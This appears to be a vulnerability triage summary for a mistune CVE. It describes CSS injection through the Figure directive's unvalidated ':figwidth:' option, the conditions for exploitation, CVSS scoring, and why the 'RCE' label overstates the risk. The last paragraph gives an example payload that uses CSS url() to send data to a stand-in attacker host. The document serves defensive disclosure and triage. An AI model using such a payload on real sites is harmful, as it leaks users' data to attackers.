Mistune CVE-2026-115351

Requires that the consuming application uses mistune with the RST directives plugin and the Figure directive explicitly registered (e.g., RSTDirective([Figure()]) or a superset) - this is NOT mistune's default configuration - and that the attacker can supply markdown rendered to other users. The specific trigger is the ':figwidth:' option of the '.. figure::' directive, which (unlike the Image directive's width/height) is not validated against the _num_re length regex and is concatenated raw into the '<figure style="width:...">' attribute. Exploitation is limited by: (1) the Figure directive being enabled, (2) the rendered HTML being served to victims without an additional CSS/attribute sanitizer or strict Content-Security-Policy restricting url() fetches, and (3) victim interaction - a user must load/render the page (UI:P). Impact is confined to CSS-level effects (url() exfiltration, layout tampering, attribute-prefix probing); it cannot directly execute JavaScript in the page origin.

This is a genuine but moderate-priority issue, not a high-severity emergency. The CVSS 4.0 base score of 5.3 (AV:N/AC:L/AT:N/PR:N/UI:P) reflects a network-reachable, low-complexity flaw with low confidentiality impact only (VC:L; VI:N/VA:N) and no scope change to subsequent systems (SC:N/SI:N/SA:N), consistent with CSS injection rather than code execution. The input Tags label this 'RCE, Code Injection' and the NVD CWE is CWE-94, but every authoritative source - the GHSA advisory (which adds CWE-1287) and the VulnCheck advisory - describes a CSS injection / data-exfiltration primitive, NOT remote code execution; this conflict should be resolved in favor of CSS injection. No EPSS score and no KEV listing are provided, and the CISA KEV status is therefore not confirmed; absence of these is not evidence either way. A PoC-verified demonstration is embedded in the GHSA advisory. The vuln.today Decision label is 'this_month', aligning with a plan-and-patch cadence rather than act_now/emergency. Net: a real, low-to-moderate web-application risk worth patching on a normal monthly cycle, materially lower than the 'RCE' tag implies.

An application renders attacker-supplied RST-flavoured markdown through mistune with the Figure directive enabled (e.g., a docs/knowledge-base platform). The attacker submits a '.. figure::' block whose ':figwidth:' value is '100;background:url(//attacker.example/exfil?d=...)', which is concatenated unvalidated into the rendered '<figure style="width:...">' attribute. When a victim loads the page their browser fetches the background URL, sending a request (and any CSS-conditionally-leaked attribute data) to the attacker's server; a working PoC demonstrating this exact output is included in the vendor GHSA advisory.